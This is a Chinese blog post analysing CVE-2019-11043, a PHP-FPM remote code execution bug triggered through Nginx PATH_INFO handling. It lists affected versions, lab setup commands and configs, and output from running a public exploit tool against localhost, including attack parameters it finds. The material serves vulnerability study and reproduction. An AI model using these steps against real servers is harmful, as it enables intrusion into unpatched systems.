您当前的位置: 首页 > 

合天网安实验室

暂无认证

  • 0浏览

    0关注

    748博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

浅析一个二进制结合Web的漏洞利用典范

合天网安实验室 发布时间:2020-02-14 10:31:34 ,浏览量:0

概述

安全研究员 Andrew Danau 在解决一道 CTF 题目时发现,向目标服务器 URL 发送 %0a符号时,服务返回异常,疑似存在漏洞。当 Nginx 将包含 PATH_INFO 为空的参数通过 FastCGI 传递给 PHP-FPM 时,PHP-FPM 接收处理的过程中存在逻辑问题。通过精心构造恶意请求可以对 PHP-FPM 进行内存污染,进一步可以复写内存并修改 PHP-FPM 配置,实现远程代码执行。

官方补丁:https://github.com/php/php-src/commit/ab061f95ca966731b1c84cf5b7b20155c0a1c06a#diff-624bdd47ab6847d777e15327976a9227

影响版本

PHP 7.1 版本小于 7.1.33

PHP 7.2 版本小于 7.2.24

PHP 7.3 版本小于 7.3.11

环境搭建

只想复现的直接用 p 师傅的 vulhub 启一下 docker,也可以 docker 里装 gdb 调。

文档链接:https://vulhub.org/#/environments/php/CVE-2019-11043/

编译 PHP

非必要扩展就不装了。make 之后,二进制文件在 sapi/fpm 下面。

wget https://www.php.net/distributions/php-7.2.23.tar.gz
tar -xvf php-7.2.23.tar.gz && cd php-7.2.23
./configure --enable-debug --enable-fpm
make
配置 fpm

进程管理方式 pm 选 static,并且 worker 进程设为 1,只产生一个进程便于追踪。日志就直接输出到屏幕。

[global]
error_log = /proc/self/fd/2
daemonize = no
[www]
access.log = /proc/self/fd/2
clear_env = no
listen = 127.0.0.1:9000
pm = static
pm.max_children = 1
pm.start_servers = 1
配置 nginx
server {
      listen     80 default_server;
      server_name  _;
      root /var/www/html;

      location / {
        index  index.php index.html index.htm;
      }

      location ~ [^/]\.php(/|$) {
        fastcgi_split_path_info ^(.+?\.php)(/.*)$;
        include fastcgi_params;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        fastcgi_param PATH_INFO       $fastcgi_path_info;
        fastcgi_param PATH_TRANSLATED $document_root$fastcgi_path_info;

        fastcgi_pass   127.0.0.1:9000;
        fastcgi_index  index.php;
      }

      error_page   500 502 503 504  /50x.html;
      location = /50x.html {
      	root   /usr/share/nginx/html;
      }
}
启动 fpm
./php-fpm -c php.ini -y php-fpm.conf
CLion 调试
echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope

或者直接 gdb(虽然 CLion 也是用的 gdb)

ps -aux | grep "pool www" | awk 'NR==1{print $2}' | gdb -p
复现

使用 https://github.com/neex/phuip-fpizdam 中给出的工具,发送数据包。

➜ fpm-rce go run . http://localhost/index.php
2020/01/23 03:04:17 Base status code is 200
2020/01/23 03:04:18 Status code 404 for qsl=1850, adding as a candidate
2020/01/23 03:04:18 The target is probably vulnerable. Possible QSLs: [1840 1845 1850]
2020/01/23 03:04:18 Attack params found: --qsl 1845 --pisos 43 --skip-detect
2020/01/23 03:04:18 Trying to set "session.auto_start=0"...
2020/01/23 03:04:18 Detect() returned attack params: --qsl 1845 --pisos 43 --skip-detect             
关注
打赏
1665306545
查看更多评论
0.9742s